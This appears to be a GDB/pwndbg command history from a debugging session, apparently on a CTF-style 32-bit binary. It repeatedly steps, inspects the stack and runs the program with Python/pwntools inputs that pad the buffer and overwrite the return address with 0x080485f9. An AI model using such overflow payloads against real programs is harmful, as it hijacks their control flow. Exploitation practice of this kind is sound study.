start
si
ni
ni
ni
r < <(python -c 'print "A"*(0x1c+4)+"\xcb\x84\x04\x08"')
b*0x0804864d
r < <(python -c 'from pwn import *;print "A"*20 + p32(0x080485f9)')
ni
r < <(python -c 'from pwn import *;print "A"*20 + p32(0x080485f9)')
ni
r
telescope 0xffffcaa0
telescope 0xffffcaa0 40
ni
telescope 0xffffcaa0 40
p/d 0x1c
p/d 0x20
r
p 0xffffcad8-0xffffcaa0 
r < <(python -c 'from pwn import *;print "A"*0x38 + p32(0x080485f9)')
ni
r < <(python -c 'from pwn import *;print "A"*20 + p32(0x080485f9)')
ni
r < <(python -c 'from pwn import *;print "A"*0x38 + p32(0x080485f9)')
ni
r
ni
x 0xffffcabc
telescope 0xffffcabc
r < <(python -c 'from pwn import *;print "A"*0x20 + p32(0x080485f9)')
p 0xffffcad8-0xffffcabc
ni
x 0xffffcad8
ni
c